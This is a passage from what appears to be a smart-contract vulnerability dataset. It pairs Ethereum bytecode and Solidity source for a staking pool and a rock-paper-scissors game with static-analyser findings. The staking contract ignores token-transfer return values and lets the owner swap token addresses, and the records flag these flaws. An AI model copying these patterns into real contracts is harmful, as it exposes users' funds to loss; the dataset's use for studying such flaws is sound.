ffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118cd57600080fd5b6118d78484612105565b91505092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611a4e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611aa757600080fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611c10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611cdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526020017f646472657373000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660149054906101000a900460ff16151515611db957600080fd5b611dc4848484612135565b90509392505050565b6000808284019050838110151515611de457600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611e2a57600080fd5b611e3f816005546120e390919063ffffffff16565b600581905550611e9781600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611fc957600080fd5b611fde81600554611dcd90919063ffffffff16565b60058190555061203681600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008282111515156120f457600080fd5b600082840390508091505092915050565b6000600660149054906101000a900460ff1615151561212357600080fd5b61212d838361233d565b905092915050565b60006121c682600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612251848484612354565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b600061234a338484612354565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561239057600080fd5b6123e281600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247781600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea165627a7a7230582025c93610b40d9a469a189a60baa3d0a4a5e15084141775a7249bce950ea364430029
|
{"success": true, "error": null, "results": {}}
| 3,917 |
0xda719fe5443a2efd5a61ceb11fcb2a02fceb8923
|
/**
*Submitted for verification at Etherscan.io on 2021-03-30
*/
pragma solidity 0.4.25;
/**
* token contract functions
*/
contract Ierc20 {
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract Owned {
address public owner;
event OwnerChanges(address newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner external {
require(newOwner != address(0), "New owner is the zero address");
owner = newOwner;
emit OwnerChanges(newOwner);
}
}
contract StakingPool is Owned {
using SafeMath for uint256;
Ierc20 public tswap;
Ierc20 public rewardToken;
uint256 poolDuration;
uint256 totalRewards;
uint256 rewardsWithdrawn;
uint256 poolStartTime;
uint256 poolEndTime;
uint256 totalStaked;
// Represents a single stake for a user. A user may have multiple.
struct Stake {
uint256 amount;
uint256 stakingTime;
uint256 lastWithdrawTime;
}
mapping (address => Stake[]) public userStaking;
// Represents total staking of an user
struct UserTotals {
uint256 totalStaking;
uint256 totalStakingTIme;
}
mapping (address => UserTotals) public userTotalStaking;
struct Ris3Rewards {
uint256 totalWithdrawn;
uint256 lastWithdrawTime;
}
mapping(address => Ris3Rewards) public userRewardInfo;
event OwnerSetReward(uint256 amount);
event Staked(address userAddress, uint256 amount);
event StakingWithdrawal(address userAddress, uint256 amount);
event RewardWithdrawal(address userAddress, uint256 amount);
event PoolDurationChange(uint256 poolDuration);
/**
* Constrctor function
*/
constructor() public {
tswap = Ierc20(0xCC4304A31d09258b0029eA7FE63d032f52e44EFe);
rewardToken = Ierc20(0x8D717AB5eaC1016b64C2A7fD04720Fd2D27D1B86);
poolDuration = 720 hours;
}
//Set pool rewards
function ownerSetPoolRewards(uint256 _rewardAmount) external onlyOwner {
require(poolStartTime == 0, "Pool rewards already set");
require(_rewardAmount > 0, "Cannot create pool with zero amount");
//set total rewards value
totalRewards = _rewardAmount;
poolStartTime = now;
poolEndTime = now + poolDuration;
//transfer tokens to contract
rewardToken.transferFrom(msg.sender, this, _rewardAmount);
emit OwnerSetReward(_rewardAmount);
}
//Stake function for users to stake SWAP token
function stake(uint256 amount) external {
require(amount > 0, "Cannot stake 0");
require(now < poolEndTime, "Staking pool is closed"); //staking pool is closed for staking
//add value in staking
userTotalStaking[msg.sender].totalStaking = userTotalStaking[msg.sender].totalStaking.add(amount);
//add new stake
Stake memory newStake = Stake(amount, now, 0);
userStaking[msg.sender].push(newStake);
//add to total staked
totalStaked = totalStaked.add(amount);
tswap.transferFrom(msg.sender, this, amount);
emit Staked(msg.sender, amount);
}
//compute rewards
function computeNewReward(uint256 _rewardAmount, uint256 _stakedAmount, uint256 _stakeTimeSec) private view returns (uint256 _reward) {
uint256 rewardPerSecond = totalRewards.mul(1 ether);
if (rewardPerSecond != 0 ) {
rewardPerSecond = rewardPerSecond.div(poolDuration);
}
if (rewardPerSecond > 0) {
uint256 rewardPerSecForEachTokenStaked = rewardPerSecond.div(totalStaked);
uint256 userRewards = rewardPerSecForEachTokenStaked.mul(_stakedAmount).mul(_stakeTimeSec);
userRewards = userRewards.div(1 ether);
return _rewardAmount.add(userRewards);
} else {
return 0;
}
}
//calculate your rewards
function calculateReward(address _userAddress) public view returns (uint256 _reward) {
// all user stakes
Stake[] storage accountStakes = userStaking[_userAddress];
// Redeem from most recent stake and go backwards in time.
uint256 rewardAmount = 0;
uint256 i = accountStakes.length;
while (i > 0) {
Stake storage userStake = accountStakes[i - 1];
uint256 stakeTimeSec;
//check if current time is more than pool ending time
if (now > poolEndTime) {
stakeTimeSec = poolEndTime.sub(userStake.stakingTime);
if(userStake.lastWithdrawTime != 0){
stakeTimeSec = poolEndTime.sub(userStake.lastWithdrawTime);
}
} else {
stakeTimeSec = now.sub(userStake.stakingTime);
if(userStake.lastWithdrawTime != 0){
stakeTimeSec = now.sub(userStake.lastWithdrawTime);
}
}
// fully redeem a past stake
rewardAmount = computeNewReward(rewardAmount, userStake.amount, stakeTimeSec);
i--;
}
return rewardAmount;
}
//Withdraw staking and rewards
function withdrawStaking(uint256 amount) external {
require(amount > 0, "Amount can not be zero");
require(userTotalStaking[msg.sender].totalStaking >= amount, "You are trying to withdaw more than your stake");
// 1. User Accounting
Stake[] storage accountStakes = userStaking[msg.sender];
// Redeem from most recent stake and go backwards in time.
uint256 sharesLeftToBurn = amount;
uint256 rewardAmount = 0;
while (sharesLeftToBurn > 0) {
Stake storage lastStake = accountStakes[accountStakes.length - 1];
uint256 stakeTimeSec;
//check if current time is more than pool ending time
if (now > poolEndTime) {
stakeTimeSec = poolEndTime.sub(lastStake.stakingTime);
if(lastStake.lastWithdrawTime != 0){
stakeTimeSec = poolEndTime.sub(lastStake.lastWithdrawTime);
}
} else {
stakeTimeSec = now.sub(lastStake.stakingTime);
if(lastStake.lastWithdrawTime != 0){
stakeTimeSec = now.sub(lastStake.lastWithdrawTime);
}
}
if (lastStake.amount <= sharesLeftToBurn) {
// fully redeem a past stake
rewardAmount = computeNewReward(rewardAmount, lastStake.amount, stakeTimeSec);
sharesLeftToBurn = sharesLeftToBurn.sub(lastStake.amount);
accountStakes.length--;
} else {
// partially redeem a past stake
rewardAmount = computeNewReward(rewardAmount, sharesLeftToBurn, stakeTimeSec);
lastStake.amount = lastStake.amount.sub(sharesLeftToBurn);
lastStake.lastWithdrawTime = now;
sharesLeftToBurn = 0;
}
}
//substract value in staking
userTotalStaking[msg.sender].totalStaking = userTotalStaking[msg.sender].totalStaking.sub(amount);
//substract from total staked
totalStaked = totalStaked.sub(amount);
//update user rewards info
userRewardInfo[msg.sender].totalWithdrawn = userRewardInfo[msg.sender].totalWithdrawn.add(rewardAmount);
userRewardInfo[msg.sender].lastWithdrawTime = now;
//update total rewards withdrawn
rewardsWithdrawn = rewardsWithdrawn.add(rewardAmount);
//transfer rewards and tokens
rewardToken.transfer(msg.sender, rewardAmount);
tswap.transfer(msg.sender, amount);
emit RewardWithdrawal(msg.sender, rewardAmount);
emit StakingWithdrawal(msg.sender, amount);
}
//Withdraw rewards
function withdrawRewardsOnly() external {
uint256 _rwdAmount = calculateReward(msg.sender);
require(_rwdAmount > 0, "You do not have enough rewards");
// 1. User Accounting
Stake[] storage accountStakes = userStaking[msg.sender];
// Redeem from most recent stake and go backwards in time.
uint256 rewardAmount = 0;
uint256 i = accountStakes.length;
while (i > 0) {
Stake storage userStake = accountStakes[i - 1];
uint256 stakeTimeSec;
//check if current time is more than pool ending time
if (now > poolEndTime) {
stakeTimeSec = poolEndTime.sub(userStake.stakingTime);
if(userStake.lastWithdrawTime != 0){
stakeTimeSec = poolEndTime.sub(userStake.lastWithdrawTime);
}
} else {
stakeTimeSec = now.sub(userStake.stakingTime);
if(userStake.lastWithdrawTime != 0){
stakeTimeSec = now.sub(userStake.lastWithdrawTime);
}
}
// fully redeem a past stake
rewardAmount = computeNewReward(rewardAmount, userStake.amount, stakeTimeSec);
userStake.lastWithdrawTime = now;
i--;
}
//update user rewards info
userRewardInfo[msg.sender].totalWithdrawn = userRewardInfo[msg.sender].totalWithdrawn.add(rewardAmount);
userRewardInfo[msg.sender].lastWithdrawTime = now;
//update total rewards withdrawn
rewardsWithdrawn = rewardsWithdrawn.add(rewardAmount);
//transfer rewards
rewardToken.transfer(msg.sender, rewardAmount);
emit RewardWithdrawal(msg.sender, rewardAmount);
}
//get staking details by user address
function getStakingAmount(address _userAddress) external constant returns (uint256 _stakedAmount) {
return userTotalStaking[_userAddress].totalStaking;
}
//get total rewards collected by user
function getTotalRewardCollectedByUser(address userAddress) view external returns (uint256 _totalRewardCollected)
{
return userRewardInfo[userAddress].totalWithdrawn;
}
//get total SWAP token staked in the contract
function getTotalStaked() external constant returns ( uint256 _totalStaked) {
return totalStaked;
}
//get total rewards in the contract
function getTotalRewards() external constant returns ( uint256 _totalRewards) {
return totalRewards;
}
//get pool details
function getPoolDetails() external view returns (address _baseToken, address _pairedToken, uint256 _totalRewards, uint256 _rewardsWithdrawn, uint256 _poolStartTime, uint256 _poolEndTime) {
return (address(tswap),address(rewardToken),totalRewards,rewardsWithdrawn,poolStartTime,poolEndTime);
}
//get duration of pools
function getPoolDuration() external constant returns (uint256 _poolDuration) {
return poolDuration;
}
//set duration of pools by owner in seconds
function setPoolDuration(uint256 _poolDuration) external onlyOwner {
poolDuration = _poolDuration;
poolEndTime = poolStartTime + _poolDuration;
emit PoolDurationChange(_poolDuration);
}
//get SWAP token address
function getSwapAddress() external constant returns (address _swapAddress) {
return address(tswap);
}
//set tswap address
function setTswapAddress(address _address) external onlyOwner {
tswap = Ierc20(_address);
}
//set reward token address
function setRewardTokenAddress(address _address) external onlyOwner {
rewardToken = Ierc20(_address);
}
}
|
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302a01dc2811461012c5780630917e77614610146578063176089691461016d5780632e0b78f614610182578063360b8ed91461019a57806374363daa146101d457806385811fbf146101f55780638da5cb5b146102265780638db6c1191461023b578063908163021461025c5780639a6acf201461029e5780639ebde781146102bf578063a694fc3a146102e0578063a6b240fe146102f8578063aca34c1114610319578063c9e486531461036d578063d82e396214610382578063e627f2db146103a3578063f2fde38b146103b8578063f7c618c1146103d9578063f7d57b81146103ee578063fbc14bfb14610403575b600080fd5b34801561013857600080fd5b5061014460043561041b565b005b34801561015257600080fd5b5061015b610475565b60408051918252519081900360200190f35b34801561017957600080fd5b5061014461047c565b34801561018e57600080fd5b50610144600435610703565b3480156101a657600080fd5b506101bb600160a060020a0360043516610b75565b6040805192835260208301919091528051918290030190f35b3480156101e057600080fd5b5061015b600160a060020a0360043516610b8e565b34801561020157600080fd5b5061020a610ba9565b60408051600160a060020a039092168252519081900360200190f35b34801561023257600080fd5b5061020a610bb8565b34801561024757600080fd5b506101bb600160a060020a0360043516610bc7565b34801561026857600080fd5b50610280600160a060020a0360043516602435610be0565b60408051938452602084019290925282820152519081900360600190f35b3480156102aa57600080fd5b50610144600160a060020a0360043516610c21565b3480156102cb57600080fd5b50610144600160a060020a0360043516610c67565b3480156102ec57600080fd5b50610144600435610cad565b34801561030457600080fd5b5061015b600160a060020a0360043516610ee1565b34801561032557600080fd5b5061032e610efc565b60408051600160a060020a039788168152959096166020860152848601939093526060840191909152608083015260a082015290519081900360c00190f35b34801561037957600080fd5b5061020a610f27565b34801561038e57600080fd5b5061015b600160a060020a0360043516610f36565b3480156103af57600080fd5b5061015b611030565b3480156103c457600080fd5b50610144600160a060020a0360043516611036565b3480156103e557600080fd5b5061020a61110e565b3480156103fa57600080fd5b5061015b61111d565b34801561040f57600080fd5b50610144600435611123565b600054600160a060020a0316331461043257600080fd5b600381905560065481016007556040805182815290517f93202f612f7aeb2a12b92bc5e92cd9600b71bbe0605f654cc7ce95e0025f22709181900360200190a150565b6008545b90565b60008060008060008061048e33610f36565b9550600086116104e8576040805160e560020a62461bcd02815260206004820152601e60248201527f596f7520646f206e6f74206861766520656e6f75676820726577617264730000604482015290519081900360640190fd5b336000908152600960205260408120805490965090945092505b60008311156105d857846001840381548110151561051c57fe5b9060005260206000209060030201915060075442111561057957600182015460075461054d9163ffffffff6112f716565b6002830154909150156105745760028201546007546105719163ffffffff6112f716565b90505b6105b5565b600182015461058f90429063ffffffff6112f716565b6002830154909150156105b55760028201546105b290429063ffffffff6112f716565b90505b6105c48483600001548361130c565b426002840155935060001990920191610502565b336000908152600b60205260409020546105f8908563ffffffff6113cf16565b336000908152600b6020526040902090815542600190910155600554610624908563ffffffff6113cf16565b600555600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018790529051600160a060020a039092169163a9059cbb916044808201926020929091908290030181600087803b15801561069457600080fd5b505af11580156106a8573d6000803e3d6000fd5b505050506040513d60208110156106be57600080fd5b5050604080513381526020810186905281517f5bf73990fdbbb1700fedc6b63f17f15c22d262a16352f0fd668471a1e3548ffe929181900390910190a1505050505050565b600080808080808611610760576040805160e560020a62461bcd02815260206004820152601660248201527f416d6f756e742063616e206e6f74206265207a65726f00000000000000000000604482015290519081900360640190fd5b336000908152600a60205260409020548611156107ed576040805160e560020a62461bcd02815260206004820152602e60248201527f596f752061726520747279696e6720746f2077697468646177206d6f7265207460448201527f68616e20796f7572207374616b65000000000000000000000000000000000000606482015290519081900360840190fd5b336000908152600960205260408120955086945092505b60008411156109305784548590600019810190811061081f57fe5b9060005260206000209060030201915060075442111561087c5760018201546007546108509163ffffffff6112f716565b6002830154909150156108775760028201546007546108749163ffffffff6112f716565b90505b6108b8565b600182015461089290429063ffffffff6112f716565b6002830154909150156108b85760028201546108b590429063ffffffff6112f716565b90505b815484106108fe576108cf8383600001548361130c565b82549093506108e590859063ffffffff6112f716565b85549094506108f8866000198301611431565b5061092b565b61090983858361130c565b825490935061091e908563ffffffff6112f716565b8255426002830155600093505b610804565b336000908152600a6020526040902054610950908763ffffffff6112f716565b336000908152600a6020526040902055600854610973908763ffffffff6112f716565b600855336000908152600b6020526040902054610996908463ffffffff6113cf16565b336000908152600b60205260409020908155426001909101556005546109c2908463ffffffff6113cf16565b600555600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018690529051600160a060020a039092169163a9059cbb916044808201926020929091908290030181600087803b158015610a3257600080fd5b505af1158015610a46573d6000803e3d6000fd5b505050506040513d6020811015610a5c57600080fd5b5050600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018990529051600160a060020a039092169163a9059cbb916044808201926020929091908290030181600087803b158015610acb57600080fd5b505af1158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5050604080513381526020810185905281517f5bf73990fdbbb1700fedc6b63f17f15c22d262a16352f0fd668471a1e3548ffe929181900390910190a1604080513381526020810188905281517f5322e8325014aeb0f999c341770ee4939af85cc55c4f5e03547373cabe18978a929181900390910190a1505050505050565b600b602052600090815260409020805460019091015482565b600160a060020a03166000908152600a602052604090205490565b600154600160a060020a031690565b600054600160a060020a031681565b600a602052600090815260409020805460019091015482565b600960205281600052604060002081815481101515610bfb57fe5b600091825260209091206003909102018054600182015460029092015490935090915083565b600054600160a060020a03163314610c3857600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a03163314610c7e57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b610cb5611462565b60008211610d0d576040805160e560020a62461bcd02815260206004820152600e60248201527f43616e6e6f74207374616b652030000000000000000000000000000000000000604482015290519081900360640190fd5b6007544210610d66576040805160e560020a62461bcd02815260206004820152601660248201527f5374616b696e6720706f6f6c20697320636c6f73656400000000000000000000604482015290519081900360640190fd5b336000908152600a6020526040902054610d86908363ffffffff6113cf16565b336000818152600a6020908152604080832094909455835160608101855286815242818301908152818601848152948452600983529483208054600181810183559185529290932081516003909302019182559351918101919091559051600290910155600854909150610e00908363ffffffff6113cf16565b600855600154604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018590529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b158015610e7657600080fd5b505af1158015610e8a573d6000803e3d6000fd5b505050506040513d6020811015610ea057600080fd5b5050604080513381526020810184905281517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d929181900390910190a15050565b600160a060020a03166000908152600b602052604090205490565b600154600254600454600554600654600754600160a060020a03958616959490941693909192939495565b600154600160a060020a031681565b600160a060020a03811660009081526009602052604081208054829081805b6000831115611025578460018403815481101515610f6f57fe5b90600052602060002090600302019150600754421115610fcc576001820154600754610fa09163ffffffff6112f716565b600283015490915015610fc7576002820154600754610fc49163ffffffff6112f716565b90505b611008565b6001820154610fe290429063ffffffff6112f716565b60028301549091501561100857600282015461100590429063ffffffff6112f716565b90505b6110178483600001548361130c565b935060001990920191610f55565b509195945050505050565b60045490565b600054600160a060020a0316331461104d57600080fd5b600160a060020a03811615156110ad576040805160e560020a62461bcd02815260206004820152601d60248201527f4e6577206f776e657220697320746865207a65726f2061646472657373000000604482015290519081900360640190fd5b60008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116811790915560408051918252517fe181e59d45ee426a055928ff3e7e85526d4ef2532db1b20262d9bb5d5263d4549181900360200190a150565b600254600160a060020a031681565b60035490565b600054600160a060020a0316331461113a57600080fd5b60065415611192576040805160e560020a62461bcd02815260206004820152601860248201527f506f6f6c207265776172647320616c7265616479207365740000000000000000604482015290519081900360640190fd5b60008111611210576040805160e560020a62461bcd02815260206004820152602360248201527f43616e6e6f742063726561746520706f6f6c2077697468207a65726f20616d6f60448201527f756e740000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600481815542600681905560035401600755600254604080517f23b872dd00000000000000000000000000000000000000000000000000000000815233938101939093523060248401526044830184905251600160a060020a03909116916323b872dd9160648083019260209291908290030181600087803b15801561129557600080fd5b505af11580156112a9573d6000803e3d6000fd5b505050506040513d60208110156112bf57600080fd5b50506040805182815290517f9995276a5cbceb87f6c2a87b816fb85911a01e6eec7c9380558cbaaca1d62bdf9181900360200190a150565b60008282111561130657600080fd5b50900390565b60008060008061132f670de0b6b3a76400006004546113ec90919063ffffffff16565b9250821561134e5760035461134b90849063ffffffff61141a16565b92505b60008311156113c05760085461136b90849063ffffffff61141a16565b915061138d85611381848963ffffffff6113ec16565b9063ffffffff6113ec16565b90506113a781670de0b6b3a764000063ffffffff61141a16565b90506113b9878263ffffffff6113cf16565b93506113c5565b600093505b5050509392505050565b6000828201838110156113e157600080fd5b8091505b5092915050565b6000808315156113ff57600091506113e5565b5082820282848281151561140f57fe5b04146113e157600080fd5b600080828481151561142857fe5b04949350505050565b81548183558181111561145d5760030281600302836000526020600020918201910161145d9190611484565b505050565b6060604051908101604052806000815260200160008152602001600081525090565b61047991905b808211156114ab57600080825560018201819055600282015560030161148a565b50905600a165627a7a723058206df58f27ba58e027253c43b541312eb8c5c4424fcd49cd54fc89b3b8c2be0d7d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,918 |
0x5df4bea3540899a33c76c4d25108f4fe2ca89044
|
pragma solidity ^0.4.11;
contract RPS {
enum State { Unrealized, Created, Joined, Ended }
enum Result { Unfinished, Draw, Win, Loss, Forfeit } // From the perspective of player 1
struct Game {
address player1;
address player2;
uint value;
bytes32 hiddenMove1;
uint8 move1; // 0 = not set, 1 = Rock, 2 = Paper, 3 = Scissors
uint8 move2;
uint gameStart;
State state;
Result result;
}
address public owner1;
address public owner2;
uint8 constant feeDivisor = 100;
uint constant revealTime = 7 days; // TODO: dynamic reveal times?
bool paused;
bool expired;
uint gameIdCounter;
uint constant minimumNameLength = 1;
uint constant maximumNameLength = 25;
event NewName(address indexed player, string name);
event Donate(address indexed player, uint amount);
event Deposit(address indexed player, uint amount);
event Withdraw(address indexed player, uint amount);
event GameCreated(address indexed player1, address indexed player2, uint indexed gameId, uint value, bytes32 hiddenMove1);
event GameJoined(address indexed player1, address indexed player2, uint indexed gameId, uint value, uint8 move2, uint gameStart);
event GameEnded(address indexed player1, address indexed player2, uint indexed gameId, uint value, Result result);
mapping(address => uint) public balances;
mapping(address => uint) public totalWon;
mapping(address => uint) public totalLost;
Game [] public games;
mapping(address => string) public playerNames;
mapping(uint => bool) public nameTaken;
mapping(bytes32 => bool) public secretTaken;
modifier onlyOwner { require(msg.sender == owner1 || msg.sender == owner2); _; }
modifier notPaused { require(!paused); _; }
modifier notExpired { require(!expired); _; }
function RPS(address otherOwner) {
owner1 = msg.sender;
owner2 = otherOwner;
paused = true;
}
// UTILIY FUNCTIONS
//
// FOR DOING BORING REPETITIVE TASKS
function getGames() constant internal returns (Game []) {
return games;
}
function totalProfit(address player) constant returns (int) {
if (totalLost[player] > totalWon[player]) {
return -int(totalLost[player] - totalWon[player]);
}
else {
return int(totalWon[player] - totalLost[player]);
}
}
// Fuzzy hash and name validation taken from King of the Ether Throne
// https://github.com/kieranelby/KingOfTheEtherThrone/blob/v1.0/contracts/KingOfTheEtherThrone.sol
function computeNameFuzzyHash(string _name) constant internal
returns (uint fuzzyHash) {
bytes memory nameBytes = bytes(_name);
uint h = 0;
uint len = nameBytes.length;
if (len > maximumNameLength) {
len = maximumNameLength;
}
for (uint i = 0; i < len; i++) {
uint mul = 128;
byte b = nameBytes[i];
uint ub = uint(b);
if (b >= 48 && b <= 57) {
// 0-9
h = h * mul + ub;
} else if (b >= 65 && b <= 90) {
// A-Z
h = h * mul + ub;
} else if (b >= 97 && b <= 122) {
// fold a-z to A-Z
uint upper = ub - 32;
h = h * mul + upper;
} else {
// ignore others
}
}
return h;
}
/// @return True if-and-only-if `_name_` meets the criteria
/// below, or false otherwise:
/// - no fewer than 1 character
/// - no more than 25 characters
/// - no characters other than:
/// - "roman" alphabet letters (A-Z and a-z)
/// - western digits (0-9)
/// - "safe" punctuation: ! ( ) - . _ SPACE
/// - at least one non-punctuation character
/// Note that we deliberately exclude characters which may cause
/// security problems for websites and databases if escaping is
/// not performed correctly, such as < > " and '.
/// Apologies for the lack of non-English language support.
function validateNameInternal(string _name) constant internal
returns (bool allowed) {
bytes memory nameBytes = bytes(_name);
uint lengthBytes = nameBytes.length;
if (lengthBytes < minimumNameLength ||
lengthBytes > maximumNameLength) {
return false;
}
bool foundNonPunctuation = false;
for (uint i = 0; i < lengthBytes; i++) {
byte b = nameBytes[i];
if (
(b >= 48 && b <= 57) || // 0 - 9
(b >= 65 && b <= 90) || // A - Z
(b >= 97 && b <= 122) // a - z
) {
foundNonPunctuation = true;
continue;
}
if (
b == 32 || // space
b == 33 || // !
b == 40 || // (
b == 41 || // )
b == 45 || // -
b == 46 || // .
b == 95 // _
) {
continue;
}
return false;
}
return foundNonPunctuation;
}
/// if you want to donate, please use the donate function
function() { require(false); }
// PLAYER FUNCTIONS
//
// FOR PLAYERS
/// Name must only include upper and lowercase English letters,
/// numbers, and certain characters: ! ( ) - . _ SPACE
/// Function will return false if the name is not valid
/// or if it's too similar to a name that's already taken.
function setName(string name) returns (bool success) {
require (validateNameInternal(name));
uint fuzzyHash = computeNameFuzzyHash(name);
uint oldFuzzyHash;
string storage oldName = playerNames[msg.sender];
bool oldNameEmpty = bytes(oldName).length == 0;
if (nameTaken[fuzzyHash]) {
require(!oldNameEmpty);
oldFuzzyHash = computeNameFuzzyHash(oldName);
require(fuzzyHash == oldFuzzyHash);
}
else {
if (!oldNameEmpty) {
oldFuzzyHash = computeNameFuzzyHash(oldName);
nameTaken[oldFuzzyHash] = false;
}
nameTaken[fuzzyHash] = true;
}
playerNames[msg.sender] = name;
NewName(msg.sender, name);
return true;
}
//{
/// Create a game that may be joined only by the address provided.
